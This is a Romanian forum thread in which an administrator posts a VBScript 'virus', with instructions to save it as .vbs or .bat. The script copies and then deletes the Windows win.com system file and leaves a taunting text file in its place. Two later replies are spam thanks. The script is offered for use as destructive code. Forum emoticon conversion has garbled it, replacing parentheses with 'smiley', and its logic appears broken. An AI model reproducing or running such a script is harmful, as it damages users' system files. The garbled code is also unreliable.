| Subiectul anterior :: Subiectul urmator |
| Autor |
Mesaj |
CrowN
Administrator
Data inscrierii: 21/Aug/2008
Mesaje: 20
|
 Trimis: 22/08/2008 18:34 Titlul subiectului: Virus facut in notepad |
 |
|
reati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"smiley
Code:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"smiley
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"smiley
set fs2=fso.CreateTextFile("c:\windows\win.com"smiley
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu dati dublu clik pe el |
|
| Sus |
|
 |
misanchik
Junior
Data inscrierii: 21/Iul/2012
Mesaje: 5
Localitate: Bulgaria
|
| Trimis: 06/08/2012 03:04 Titlul subiectului: |
|
|
| Hi!!! Nice post Thank for that) Besides my friends real agree with me)) Thank again! |
|
| Sus |
|
|
misanchik
Junior
Data inscrierii: 21/Iul/2012
Mesaje: 5
Localitate: Bulgaria
|
| Trimis: 07/08/2012 16:30 Titlul subiectului: |
|
|
| Just to say thanks for your article I think it is not enough)) Get away from me a few smiles in gratitude. |
|
| Sus |
|
|
|
